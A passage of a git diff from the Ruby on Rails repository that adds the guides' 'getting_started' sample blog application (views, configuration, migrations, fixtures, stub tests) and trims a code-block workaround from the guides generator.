'Edit Post', edit_post_path(@post) %> | +<%= link_to 'Back to Posts', posts_path %> | diff --git a/railties/guides/code/getting_started/app/views/tags/_form.html.erb b/railties/guides/code/getting_started/app/views/tags/_form.html.erb new file mode 100644 index 0000000000..7e424b0e20 --- /dev/null +++ b/railties/guides/code/getting_started/app/views/tags/_form.html.erb @@ -0,0 +1,12 @@ +<%= form.fields_for :tags do |tag_form| %> + <div class="field"> + <%= tag_form.label :name, 'Tag:' %> + <%= tag_form.text_field :name %> + </div> + <% unless tag_form.object.nil? || tag_form.object.new_record? %> + <div class="field"> + <%= tag_form.label :_destroy, 'Remove:' %> + <%= tag_form.check_box :_destroy %> + </div> + <% end %> +<% end %> diff --git a/railties/guides/code/getting_started/config.ru b/railties/guides/code/getting_started/config.ru new file mode 100644 index 0000000000..ddf869e921 --- /dev/null +++ b/railties/guides/code/getting_started/config.ru @@ -0,0 +1,4 @@ +# This file is used by Rack-based servers to start the application. + +require ::File.expand_path('../config/environment', __FILE__) +run Blog::Application diff --git a/railties/guides/code/getting_started/config/application.rb b/railties/guides/code/getting_started/config/application.rb new file mode 100644 index 0000000000..e914b5a80e --- /dev/null +++ b/railties/guides/code/getting_started/config/application.rb @@ -0,0 +1,48 @@ +require File.expand_path('../boot', __FILE__) + +require 'rails/all' + +if defined?(Bundler) + # If you precompile assets before deploying to production, use this line + Bundler.require *Rails.groups(:assets => %w(development test)) + # If you want your assets lazily compiled in production, use this line + # Bundler.require(:default, :assets, Rails.env) +end + +module Blog + class Application < Rails::Application + # Settings in config/environments/* take precedence over those specified here. + # Application configuration should go into files in config/initializers + # -- all .rb files in that directory are automatically loaded. + + # Custom directories with classes and modules you want to be autoloadable. + # config.autoload_paths += %W(#{config.root}/extras) + + # Only load the plugins named here, in the order given (default is alphabetical). + # :all can be used as a placeholder for all plugins not explicitly named. + # config.plugins = [ :exception_notification, :ssl_requirement, :all ] + + # Activate observers that should always be running. + # config.active_record.observers = :cacher, :garbage_collector, :forum_observer + + # Set Time.zone default to the specified zone and make Active Record auto-convert to this zone. + # Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC. + # config.time_zone = 'Central Time (US & Canada)' + + # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded. + # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s] + # config.i18n.default_locale = :de + + # Configure the default encoding used in templates for Ruby 1.9. + config.encoding = "utf-8" + + # Configure sensitive parameters which will be filtered from the log file. + config.filter_parameters += [:password] + + # Enable the asset pipeline + config.assets.enabled = true + + # Version of your assets, change this if you want to expire all your assets + config.assets.version = '1.0' + end +end diff --git a/railties/guides/code/getting_started/config/boot.rb b/railties/guides/code/getting_started/config/boot.rb new file mode 100644 index 0000000000..4489e58688 --- /dev/null +++ b/railties/guides/code/getting_started/config/boot.rb @@ -0,0 +1,6 @@ +require 'rubygems' + +# Set up gems listed in the Gemfile. +ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__) + +require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE']) diff --git a/railties/guides/code/getting_started/config/database.yml b/railties/guides/code/getting_started/config/database.yml new file mode 100644 index 0000000000..51a4dd459d --- /dev/null +++ b/railties/guides/code/getting_started/config/database.yml @@ -0,0 +1,25 @@ +# SQLite version 3.x +# gem install sqlite3 +# +# Ensure the SQLite 3 gem is defined in your Gemfile +# gem 'sqlite3' +development: + adapter: sqlite3 + database: db/development.sqlite3 + pool: 5 + timeout: 5000 + +# Warning: The database defined as "test" will be erased and +# re-generated from your development database when you run "rake". +# Do not set this db to the same as development or production. +test: + adapter: sqlite3 + database: db/test.sqlite3 + pool: 5 + timeout: 5000 + +production: + adapter: sqlite3 + database: db/production.sqlite3 + pool: 5 + timeout: 5000 diff --git a/railties/guides/code/getting_started/config/environment.rb b/railties/guides/code/getting_started/config/environment.rb new file mode 100644 index 0000000000..8f728b7ce7 --- /dev/null +++ b/railties/guides/code/getting_started/config/environment.rb @@ -0,0 +1,5 @@ +# Load the rails application +require File.expand_path('../application', __FILE__) + +# Initialize the rails application +Blog::Application.initialize! diff --git a/railties/guides/code/getting_started/config/environments/development.rb b/railties/guides/code/getting_started/config/environments/development.rb new file mode 100644 index 0000000000..89932bf19b --- /dev/null +++ b/railties/guides/code/getting_started/config/environments/development.rb @@ -0,0 +1,30 @@ +Blog::Application.configure do + # Settings specified here will take precedence over those in config/application.rb + + # In the development environment your application's code is reloaded on + # every request. This slows down response time but is perfect for development + # since you don't have to restart the web server when you make code changes. + config.cache_classes = false + + # Log error messages when you accidentally call methods on nil. + config.whiny_nils = true + + # Show full error reports and disable caching + config.consider_all_requests_local = true + config.action_controller.perform_caching = false + + # Don't care if the mailer can't send + config.action_mailer.raise_delivery_errors = false + + # Print deprecation notices to the Rails logger + config.active_support.deprecation = :log + + # Only use best-standards-support built into browsers + config.action_dispatch.best_standards_support = :builtin + + # Do not compress assets + config.assets.compress = false + + # Expands the lines which load the assets + config.assets.debug = true +end diff --git a/railties/guides/code/getting_started/config/environments/production.rb b/railties/guides/code/getting_started/config/environments/production.rb new file mode 100644 index 0000000000..dee8acfdfe --- /dev/null +++ b/railties/guides/code/getting_started/config/environments/production.rb @@ -0,0 +1,63 @@ +Blog::Application.configure do + # Settings specified here will take precedence over those in config/application.rb + + # Code is not reloaded between requests + config.cache_classes = true + + # Full error reports are disabled and caching is turned on + config.consider_all_requests_local = false + config.action_controller.perform_caching = true + + # Disable Rails's static asset server (Apache or nginx will already do this) + config.serve_static_assets = false + + # Compress JavaScripts and CSS + config.assets.compress = true + + # Don't fallback to assets pipeline if a precompiled asset is missed + config.assets.compile = false + + # Generate digests for assets URLs + config.assets.digest = true + + # Defaults to Rails.root.join("public/assets") + # config.assets.manifest = YOUR_PATH + + # Specifies the header that your server uses for sending files + # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache + # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx + + # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies. + # config.force_ssl = true + + # See everything in the log (default is :info) + # config.log_level = :debug + + # Prepend all log lines with the following tags + # config.log_tags = [ :subdomain, :uuid ] + + # Use a different logger for distributed setups + # config.logger = ActiveSupport::TaggedLogging.new(SyslogLogger.new) + + # Use a different cache store in production + # config.cache_store = :mem_cache_store + + # Enable serving of images, stylesheets, and JavaScripts from an asset server + # config.action_controller.asset_host = "http://assets.example.com" + + # Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added) + # config.assets.precompile += %w( search.js ) + + # Disable delivery errors, bad email addresses will be ignored + # config.action_mailer.raise_delivery_errors = false + + # Enable threaded mode + # config.threadsafe! + + # Enable locale fallbacks for I18n (makes lookups for any locale fall back to + # the I18n.default_locale when a translation can not be found) + config.i18n.fallbacks = true + + # Send deprecation notices to registered listeners + config.active_support.deprecation = :notify +end diff --git a/railties/guides/code/getting_started/config/environments/test.rb b/railties/guides/code/getting_started/config/environments/test.rb new file mode 100644 index 0000000000..833241ace3 --- /dev/null +++ b/railties/guides/code/getting_started/config/environments/test.rb @@ -0,0 +1,42 @@ +Blog::Application.configure do + # Settings specified here will take precedence over those in config/application.rb + + # The test environment is used exclusively to run your application's + # test suite. You never need to work with it otherwise. Remember that + # your test database is "scratch space" for the test suite and is wiped + # and recreated between test runs. Don't rely on the data there! + config.cache_classes = true + + # Configure static asset server for tests with Cache-Control for performance + config.serve_static_assets = true + config.static_cache_control = "public, max-age=3600" + + # Log error messages when you accidentally call methods on nil + config.whiny_nils = true + + # Show full error reports and disable caching + config.consider_all_requests_local = true + config.action_controller.perform_caching = false + + # Raise exceptions instead of rendering exception templates + config.action_dispatch.show_exceptions = false + + # Disable request forgery protection in test environment + config.action_controller.allow_forgery_protection = false + + # Tell Action Mailer not to deliver emails to the real world. + # The :test delivery method accumulates sent emails in the + # ActionMailer::Base.deliveries array. + config.action_mailer.delivery_method = :test + + # Use SQL instead of Active Record's schema dumper when creating the test database. + # This is necessary if your schema can't be completely dumped by the schema dumper, + # like if you have constraints or database-specific column types + # config.active_record.schema_format = :sql + + # Print deprecation notices to the stderr + config.active_support.deprecation = :stderr + + # Allow pass debug_assets=true as a query parameter to load pages with unpackaged assets + config.assets.allow_debugging = true +end diff --git a/railties/guides/code/getting_started/config/initializers/backtrace_silencers.rb b/railties/guides/code/getting_started/config/initializers/backtrace_silencers.rb new file mode 100644 index 0000000000..59385cdf37 --- /dev/null +++ b/railties/guides/code/getting_started/config/initializers/backtrace_silencers.rb @@ -0,0 +1,7 @@ +# Be sure to restart your server when you modify this file. + +# You can add backtrace silencers for libraries that you're using but don't wish to see in your backtraces. +# Rails.backtrace_cleaner.add_silencer { |line| line =~ /my_noisy_library/ } + +# You can also remove all the silencers if you're trying to debug a problem that might stem from framework code. +# Rails.backtrace_cleaner.remove_silencers! diff --git a/railties/guides/code/getting_started/config/initializers/inflections.rb b/railties/guides/code/getting_started/config/initializers/inflections.rb new file mode 100644 index 0000000000..9e8b0131f8 --- /dev/null +++ b/railties/guides/code/getting_started/config/initializers/inflections.rb @@ -0,0 +1,10 @@ +# Be sure to restart your server when you modify this file. + +# Add new inflection rules using the following format +# (all these examples are active by default): +# ActiveSupport::Inflector.inflections do |inflect| +# inflect.plural /^(ox)$/i, '\1en' +# inflect.singular /^(ox)en/i, '\1' +# inflect.irregular 'person', 'people' +# inflect.uncountable %w( fish sheep ) +# end diff --git a/railties/guides/code/getting_started/config/initializers/mime_types.rb b/railties/guides/code/getting_started/config/initializers/mime_types.rb new file mode 100644 index 0000000000..72aca7e441 --- /dev/null +++ b/railties/guides/code/getting_started/config/initializers/mime_types.rb @@ -0,0 +1,5 @@ +# Be sure to restart your server when you modify this file. + +# Add new mime types for use in respond_to blocks: +# Mime::Type.register "text/richtext", :rtf +# Mime::Type.register_alias "text/html", :iphone diff --git a/railties/guides/code/getting_started/config/initializers/secret_token.rb b/railties/guides/code/getting_started/config/initializers/secret_token.rb new file mode 100644 index 0000000000..b0c8ee23c1 --- /dev/null +++ b/railties/guides/code/getting_started/config/initializers/secret_token.rb @@ -0,0 +1,7 @@ +# Be sure to restart your server when you modify this file. + +# Your secret key for verifying the integrity of signed cookies. +# If you change this key, all old signed cookies will become invalid! +# Make sure the secret is at least 30 characters and all random, +# no regular words or you'll be exposed to dictionary attacks. +Blog::Application.config.secret_token = '685a9bf865b728c6549a191c90851c1b5ec41ecb60b9e94ad79dd3f824749798aa7b5e94431901960bee57809db0947b481570f7f13376b7ca190fa28099c459' diff --git a/railties/guides/code/getting_started/config/initializers/session_store.rb b/railties/guides/code/getting_started/config/initializers/session_store.rb new file mode 100644 index 0000000000..1a67af58b5 --- /dev/null +++ b/railties/guides/code/getting_started/config/initializers/session_store.rb @@ -0,0 +1,8 @@ +# Be sure to restart your server when you modify this file. + +Blog::Application.config.session_store :cookie_store, key: '_blog_session' + +# Use the database for sessions instead of the cookie-based default, +# which shouldn't be used to store highly confidential information +# (create the session table with "rails generate session_migration") +# Blog::Application.config.session_store :active_record_store diff --git a/railties/guides/code/getting_started/config/initializers/wrap_parameters.rb b/railties/guides/code/getting_started/config/initializers/wrap_parameters.rb new file mode 100644 index 0000000000..999df20181 --- /dev/null +++ b/railties/guides/code/getting_started/config/initializers/wrap_parameters.rb @@ -0,0 +1,14 @@ +# Be sure to restart your server when you modify this file. +# +# This file contains settings for ActionController::ParamsWrapper which +# is enabled by default. + +# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array. +ActiveSupport.on_load(:action_controller) do + wrap_parameters format: [:json] +end + +# Disable root element in JSON by default. +ActiveSupport.on_load(:active_record) do + self.include_root_in_json = false +end diff --git a/railties/guides/code/getting_started/config/locales/en.yml b/railties/guides/code/getting_started/config/locales/en.yml new file mode 100644 index 0000000000..179c14ca52 --- /dev/null +++ b/railties/guides/code/getting_started/config/locales/en.yml @@ -0,0 +1,5 @@ +# Sample localization file for English. Add more files in this directory for other locales. +# See https://github.com/svenfuchs/rails-i18n/tree/master/rails%2Flocale for starting points. + +en: + hello: "Hello world" diff --git a/railties/guides/code/getting_started/config/routes.rb b/railties/guides/code/getting_started/config/routes.rb new file mode 100644 index 0000000000..31f0d210db --- /dev/null +++ b/railties/guides/code/getting_started/config/routes.rb @@ -0,0 +1,64 @@ +Blog::Application.routes.draw do + resources :posts do + resources :comments + end + + get "home/index" + + # The priority is based upon order of creation: + # first created -> highest priority. + + # Sample of regular route: + # match 'products/:id' => 'catalog#view' + # Keep in mind you can assign values other than :controller and :action + + # Sample of named route: + # match 'products/:id/purchase' => 'catalog#purchase', :as => :purchase + # This route can be invoked with purchase_url(:id => product.id) + + # Sample resource route (maps HTTP verbs to controller actions automatically): + # resources :products + + # Sample resource route with options: + # resources :products do + # member do + # get 'short' + # post 'toggle' + # end + # + # collection do + # get 'sold' + # end + # end + + # Sample resource route with sub-resources: + # resources :products do + # resources :comments, :sales + # resource :seller + # end + + # Sample resource route with more complex sub-resources + # resources :products do + # resources :comments + # resources :sales do + # get 'recent', :on => :collection + # end + # end + + # Sample resource route within a namespace: + # namespace :admin do + # # Directs /admin/products/* to Admin::ProductsController + # # (app/controllers/admin/products_controller.rb) + # resources :products + # end + + # You can have the root of your site routed with "root" + # just remember to delete public/index.html. + root :to => "home#index" + + # See how all your routes lay out with "rake routes" + + # This is a legacy wild controller route that's not recommended for RESTful applications. + # Note: This route will make all actions in every controller accessible via GET requests. + # match ':controller(/:action(/:id(.:format)))' +end diff --git a/railties/guides/code/getting_started/db/migrate/20110901012504_create_posts.rb b/railties/guides/code/getting_started/db/migrate/20110901012504_create_posts.rb new file mode 100644 index 0000000000..d45a961523 --- /dev/null +++ b/railties/guides/code/getting_started/db/migrate/20110901012504_create_posts.rb @@ -0,0 +1,11 @@ +class CreatePosts < ActiveRecord::Migration + def change + create_table :posts do |t| + t.string :name + t.string :title + t.text :content + + t.timestamps + end + end +end diff --git a/railties/guides/code/getting_started/db/migrate/20110901012815_create_comments.rb b/railties/guides/code/getting_started/db/migrate/20110901012815_create_comments.rb new file mode 100644 index 0000000000..adda8078c1 --- /dev/null +++ b/railties/guides/code/getting_started/db/migrate/20110901012815_create_comments.rb @@ -0,0 +1,12 @@ +class CreateComments < ActiveRecord::Migration + def change + create_table :comments do |t| + t.string :commenter + t.text :body + t.references :post + + t.timestamps + end + add_index :comments, :post_id + end +end diff --git a/railties/guides/code/getting_started/db/migrate/20110901013701_create_tags.rb b/railties/guides/code/getting_started/db/migrate/20110901013701_create_tags.rb new file mode 100644 index 0000000000..cf95b1c3d0 --- /dev/null +++ b/railties/guides/code/getting_started/db/migrate/20110901013701_create_tags.rb @@ -0,0 +1,11 @@ +class CreateTags < ActiveRecord::Migration + def change + create_table :tags do |t| + t.string :name + t.references :post + + t.timestamps + end + add_index :tags, :post_id + end +end diff --git a/railties/guides/code/getting_started/db/schema.rb b/railties/guides/code/getting_started/db/schema.rb new file mode 100644 index 0000000000..9db4fbe4b6 --- /dev/null +++ b/railties/guides/code/getting_started/db/schema.rb @@ -0,0 +1,43 @@ +# encoding: UTF-8 +# This file is auto-generated from the current state of the database. Instead +# of editing this file, please use the migrations feature of Active Record to +# incrementally modify your database, and then regenerate this schema definition. +# +# Note that this schema.rb definition is the authoritative source for your +# database schema. If you need to create the application database on another +# system, you should be using db:schema:load, not running all the migrations +# from scratch. The latter is a flawed and unsustainable approach (the more migrations +# you'll amass, the slower it'll run and the greater likelihood for issues). +# +# It's strongly recommended to check this file into your version control system. + +ActiveRecord::Schema.define(:version => 20110901013701) do + + create_table "comments", :force => true do |t| + t.string "commenter" + t.text "body" + t.integer "post_id" + t.datetime "created_at" + t.datetime "updated_at" + end + + add_index "comments", ["post_id"], :name => "index_comments_on_post_id" + + create_table "posts", :force => true do |t| + t.string "name" + t.string "title" + t.text "content" + t.datetime "created_at" + t.datetime "updated_at" + end + + create_table "tags", :force => true do |t| + t.string "name" + t.integer "post_id" + t.datetime "created_at" + t.datetime "updated_at" + end + + add_index "tags", ["post_id"], :name => "index_tags_on_post_id" + +end diff --git a/railties/guides/code/getting_started/db/seeds.rb b/railties/guides/code/getting_started/db/seeds.rb new file mode 100644 index 0000000000..4edb1e857e --- /dev/null +++ b/railties/guides/code/getting_started/db/seeds.rb @@ -0,0 +1,7 @@ +# This file should contain all the record creation needed to seed the database with its default values. +# The data can then be loaded with the rake db:seed (or created alongside the db with db:setup). +# +# Examples: +# +# cities = City.create([{ name: 'Chicago' }, { name: 'Copenhagen' }]) +# Mayor.create(name: 'Emanuel', city: cities.first) diff --git a/railties/guides/code/getting_started/doc/README_FOR_APP b/railties/guides/code/getting_started/doc/README_FOR_APP new file mode 100644 index 0000000000..fe41f5cc24 --- /dev/null +++ b/railties/guides/code/getting_started/doc/README_FOR_APP @@ -0,0 +1,2 @@ +Use this README file to introduce your application and point to useful places in the API for learning more. +Run "rake doc:app" to generate API documentation for your models, controllers, helpers, and libraries. diff --git a/railties/guides/code/getting_started/lib/assets/.gitkeep b/railties/guides/code/getting_started/lib/assets/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/lib/assets/.gitkeep diff --git a/railties/guides/code/getting_started/lib/tasks/.gitkeep b/railties/guides/code/getting_started/lib/tasks/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/lib/tasks/.gitkeep diff --git a/railties/guides/code/getting_started/public/404.html b/railties/guides/code/getting_started/public/404.html new file mode 100644 index 0000000000..9a48320a5f --- /dev/null +++ b/railties/guides/code/getting_started/public/404.html @@ -0,0 +1,26 @@ +<!DOCTYPE html> +<html> +<head> + <title>The page you were looking for doesn't exist (404)</title> + <style type="text/css"> + body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; } + div.dialog { + width: 25em; + padding: 0 4em; + margin: 4em auto 0 auto; + border: 1px solid #ccc; + border-right-color: #999; + border-bottom-color: #999; + } + h1 { font-size: 100%; color: #f00; line-height: 1.5em; } + </style> +</head> + +<body> + <!-- This file lives in public/404.html --> + <div class="dialog"> + <h1>The page you were looking for doesn't exist.</h1> + <p>You may have mistyped the address or the page may have moved.</p> + </div> +</body> +</html> diff --git a/railties/guides/code/getting_started/public/422.html b/railties/guides/code/getting_started/public/422.html new file mode 100644 index 0000000000..83660ab187 --- /dev/null +++ b/railties/guides/code/getting_started/public/422.html @@ -0,0 +1,26 @@ +<!DOCTYPE html> +<html> +<head> + <title>The change you wanted was rejected (422)</title> + <style type="text/css"> + body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; } + div.dialog { + width: 25em; + padding: 0 4em; + margin: 4em auto 0 auto; + border: 1px solid #ccc; + border-right-color: #999; + border-bottom-color: #999; + } + h1 { font-size: 100%; color: #f00; line-height: 1.5em; } + </style> +</head> + +<body> + <!-- This file lives in public/422.html --> + <div class="dialog"> + <h1>The change you wanted was rejected.</h1> + <p>Maybe you tried to change something you didn't have access to.</p> + </div> +</body> +</html> diff --git a/railties/guides/code/getting_started/public/500.html b/railties/guides/code/getting_started/public/500.html new file mode 100644 index 0000000000..b80307fc16 --- /dev/null +++ b/railties/guides/code/getting_started/public/500.html @@ -0,0 +1,26 @@ +<!DOCTYPE html> +<html> +<head> + <title>We're sorry, but something went wrong (500)</title> + <style type="text/css"> + body { background-color: #fff; color: #666; text-align: center; font-family: arial, sans-serif; } + div.dialog { + width: 25em; + padding: 0 4em; + margin: 4em auto 0 auto; + border: 1px solid #ccc; + border-right-color: #999; + border-bottom-color: #999; + } + h1 { font-size: 100%; color: #f00; line-height: 1.5em; } + </style> +</head> + +<body> + <!-- This file lives in public/500.html --> + <div class="dialog"> + <h1>We're sorry, but something went wrong.</h1> + <p>We've been notified about this issue and we'll take a look at it shortly.</p> + </div> +</body> +</html> diff --git a/railties/guides/code/getting_started/public/favicon.ico b/railties/guides/code/getting_started/public/favicon.ico new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/public/favicon.ico diff --git a/railties/guides/code/getting_started/public/robots.txt b/railties/guides/code/getting_started/public/robots.txt new file mode 100644 index 0000000000..085187fa58 --- /dev/null +++ b/railties/guides/code/getting_started/public/robots.txt @@ -0,0 +1,5 @@ +# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file +# +# To ban all spiders from the entire site uncomment the next two lines: +# User-Agent: * +# Disallow: / diff --git a/railties/guides/code/getting_started/script/rails b/railties/guides/code/getting_started/script/rails new file mode 100755 index 0000000000..f8da2cffd4 --- /dev/null +++ b/railties/guides/code/getting_started/script/rails @@ -0,0 +1,6 @@ +#!/usr/bin/env ruby +# This command will automatically be run when you run "rails" with Rails 3 gems installed from the root of your application. + +APP_PATH = File.expand_path('../../config/application', __FILE__) +require File.expand_path('../../config/boot', __FILE__) +require 'rails/commands' diff --git a/railties/guides/code/getting_started/test/fixtures/.gitkeep b/railties/guides/code/getting_started/test/fixtures/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/test/fixtures/.gitkeep diff --git a/railties/guides/code/getting_started/test/fixtures/comments.yml b/railties/guides/code/getting_started/test/fixtures/comments.yml new file mode 100644 index 0000000000..d33da386bf --- /dev/null +++ b/railties/guides/code/getting_started/test/fixtures/comments.yml @@ -0,0 +1,11 @@ +# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html + +one: + commenter: MyString + body: MyText + post: + +two: + commenter: MyString + body: MyText + post: diff --git a/railties/guides/code/getting_started/test/fixtures/posts.yml b/railties/guides/code/getting_started/test/fixtures/posts.yml new file mode 100644 index 0000000000..8b0f75a33d --- /dev/null +++ b/railties/guides/code/getting_started/test/fixtures/posts.yml @@ -0,0 +1,11 @@ +# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html + +one: + name: MyString + title: MyString + content: MyText + +two: + name: MyString + title: MyString + content: MyText diff --git a/railties/guides/code/getting_started/test/fixtures/tags.yml b/railties/guides/code/getting_started/test/fixtures/tags.yml new file mode 100644 index 0000000000..8485668908 --- /dev/null +++ b/railties/guides/code/getting_started/test/fixtures/tags.yml @@ -0,0 +1,9 @@ +# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html + +one: + name: MyString + post: + +two: + name: MyString + post: diff --git a/railties/guides/code/getting_started/test/functional/.gitkeep b/railties/guides/code/getting_started/test/functional/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/test/functional/.gitkeep diff --git a/railties/guides/code/getting_started/test/functional/comments_controller_test.rb b/railties/guides/code/getting_started/test/functional/comments_controller_test.rb new file mode 100644 index 0000000000..2ec71b4ec5 --- /dev/null +++ b/railties/guides/code/getting_started/test/functional/comments_controller_test.rb @@ -0,0 +1,7 @@ +require 'test_helper' + +class CommentsControllerTest < ActionController::TestCase + # test "the truth" do + # assert true + # end +end diff --git a/railties/guides/code/getting_started/test/functional/home_controller_test.rb b/railties/guides/code/getting_started/test/functional/home_controller_test.rb new file mode 100644 index 0000000000..0d9bb47c3e --- /dev/null +++ b/railties/guides/code/getting_started/test/functional/home_controller_test.rb @@ -0,0 +1,9 @@ +require 'test_helper' + +class HomeControllerTest < ActionController::TestCase + test "should get index" do + get :index + assert_response :success + end + +end diff --git a/railties/guides/code/getting_started/test/functional/posts_controller_test.rb b/railties/guides/code/getting_started/test/functional/posts_controller_test.rb new file mode 100644 index 0000000000..b8f7b07820 --- /dev/null +++ b/railties/guides/code/getting_started/test/functional/posts_controller_test.rb @@ -0,0 +1,49 @@ +require 'test_helper' + +class PostsControllerTest < ActionController::TestCase + setup do + @post = posts(:one) + end + + test "should get index" do + get :index + assert_response :success + assert_not_nil assigns(:posts) + end + + test "should get new" do + get :new + assert_response :success + end + + test "should create post" do + assert_difference('Post.count') do + post :create, post: @post.attributes + end + + assert_redirected_to post_path(assigns(:post)) + end + + test "should show post" do + get :show, id: @post.to_param + assert_response :success + end + + test "should get edit" do + get :edit, id: @post.to_param + assert_response :success + end + + test "should update post" do + put :update, id: @post.to_param, post: @post.attributes + assert_redirected_to post_path(assigns(:post)) + end + + test "should destroy post" do + assert_difference('Post.count', -1) do + delete :destroy, id: @post.to_param + end + + assert_redirected_to posts_path + end +end diff --git a/railties/guides/code/getting_started/test/integration/.gitkeep b/railties/guides/code/getting_started/test/integration/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/test/integration/.gitkeep diff --git a/railties/guides/code/getting_started/test/performance/browsing_test.rb b/railties/guides/code/getting_started/test/performance/browsing_test.rb new file mode 100644 index 0000000000..3fea27b916 --- /dev/null +++ b/railties/guides/code/getting_started/test/performance/browsing_test.rb @@ -0,0 +1,12 @@ +require 'test_helper' +require 'rails/performance_test_help' + +class BrowsingTest < ActionDispatch::PerformanceTest + # Refer to the documentation for all available options + # self.profile_options = { :runs => 5, :metrics => [:wall_time, :memory] + # :output => 'tmp/performance', :formats => [:flat] } + + def test_homepage + get '/' + end +end diff --git a/railties/guides/code/getting_started/test/test_helper.rb b/railties/guides/code/getting_started/test/test_helper.rb new file mode 100644 index 0000000000..8bf1192ffe --- /dev/null +++ b/railties/guides/code/getting_started/test/test_helper.rb @@ -0,0 +1,13 @@ +ENV["RAILS_ENV"] = "test" +require File.expand_path('../../config/environment', __FILE__) +require 'rails/test_help' + +class ActiveSupport::TestCase + # Setup all fixtures in test/fixtures/*.(yml|csv) for all tests in alphabetical order. + # + # Note: You'll currently still have to declare fixtures explicitly in integration tests + # -- they do not yet inherit this setting + fixtures :all + + # Add more helper methods to be used by all tests here... +end diff --git a/railties/guides/code/getting_started/test/unit/.gitkeep b/railties/guides/code/getting_started/test/unit/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/test/unit/.gitkeep diff --git a/railties/guides/code/getting_started/test/unit/comment_test.rb b/railties/guides/code/getting_started/test/unit/comment_test.rb new file mode 100644 index 0000000000..b6d6131a96 --- /dev/null +++ b/railties/guides/code/getting_started/test/unit/comment_test.rb @@ -0,0 +1,7 @@ +require 'test_helper' + +class CommentTest < ActiveSupport::TestCase + # test "the truth" do + # assert true + # end +end diff --git a/railties/guides/code/getting_started/test/unit/helpers/comments_helper_test.rb b/railties/guides/code/getting_started/test/unit/helpers/comments_helper_test.rb new file mode 100644 index 0000000000..2518c16bd5 --- /dev/null +++ b/railties/guides/code/getting_started/test/unit/helpers/comments_helper_test.rb @@ -0,0 +1,4 @@ +require 'test_helper' + +class CommentsHelperTest < ActionView::TestCase +end diff --git a/railties/guides/code/getting_started/test/unit/helpers/home_helper_test.rb b/railties/guides/code/getting_started/test/unit/helpers/home_helper_test.rb new file mode 100644 index 0000000000..4740a18dac --- /dev/null +++ b/railties/guides/code/getting_started/test/unit/helpers/home_helper_test.rb @@ -0,0 +1,4 @@ +require 'test_helper' + +class HomeHelperTest < ActionView::TestCase +end diff --git a/railties/guides/code/getting_started/test/unit/helpers/posts_helper_test.rb b/railties/guides/code/getting_started/test/unit/helpers/posts_helper_test.rb new file mode 100644 index 0000000000..48549c2ea1 --- /dev/null +++ b/railties/guides/code/getting_started/test/unit/helpers/posts_helper_test.rb @@ -0,0 +1,4 @@ +require 'test_helper' + +class PostsHelperTest < ActionView::TestCase +end diff --git a/railties/guides/code/getting_started/test/unit/post_test.rb b/railties/guides/code/getting_started/test/unit/post_test.rb new file mode 100644 index 0000000000..6d9d463a71 --- /dev/null +++ b/railties/guides/code/getting_started/test/unit/post_test.rb @@ -0,0 +1,7 @@ +require 'test_helper' + +class PostTest < ActiveSupport::TestCase + # test "the truth" do + # assert true + # end +end diff --git a/railties/guides/code/getting_started/test/unit/tag_test.rb b/railties/guides/code/getting_started/test/unit/tag_test.rb new file mode 100644 index 0000000000..b8498a117c --- /dev/null +++ b/railties/guides/code/getting_started/test/unit/tag_test.rb @@ -0,0 +1,7 @@ +require 'test_helper' + +class TagTest < ActiveSupport::TestCase + # test "the truth" do + # assert true + # end +end diff --git a/railties/guides/code/getting_started/vendor/assets/stylesheets/.gitkeep b/railties/guides/code/getting_started/vendor/assets/stylesheets/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/vendor/assets/stylesheets/.gitkeep diff --git a/railties/guides/code/getting_started/vendor/plugins/.gitkeep b/railties/guides/code/getting_started/vendor/plugins/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/guides/code/getting_started/vendor/plugins/.gitkeep diff --git a/railties/guides/rails_guides/generator.rb b/railties/guides/rails_guides/generator.rb index 14d671c8f3..4682ead66e 100644 --- a/railties/guides/rails_guides/generator.rb +++ b/railties/guides/rails_guides/generator.rb @@ -199,50 +199,10 @@ module RailsGuides end def textile(body, lite_mode=false) - # If the issue with notextile is fixed just remove the wrapper. - with_workaround_for_notextile(body) do |body| - t = RedCloth.new(body) - t.hard_breaks = false - t.lite_mode = lite_mode - t.to_html(:notestuff, :plusplus, :code, :tip) - end - end - - # For some reason the notextile tag does not always turn off textile. See - # LH ticket of the security guide (#7). As a temporary workaround we deal - # with code blocks by hand. - def with_workaround_for_notextile(body) - code_blocks = [] - - body.gsub!(%r{<(yaml|shell|ruby|erb|html|sql|plain)>(.*?)</\1>}m) do |m| - brush = case $1 - when 'ruby', 'sql', 'plain' - $1 - when 'erb' - 'ruby; html-script: true' - when 'html' - 'xml' # html is understood, but there are .xml rules in the CSS - else - 'plain' - end - - code_blocks.push(<<HTML) -<notextile> -<div class="code_container"> -<pre class="brush: #{brush}; gutter: false; toolbar: false"> -#{ERB::Util.h($2).strip} -</pre> -</div> -</notextile> 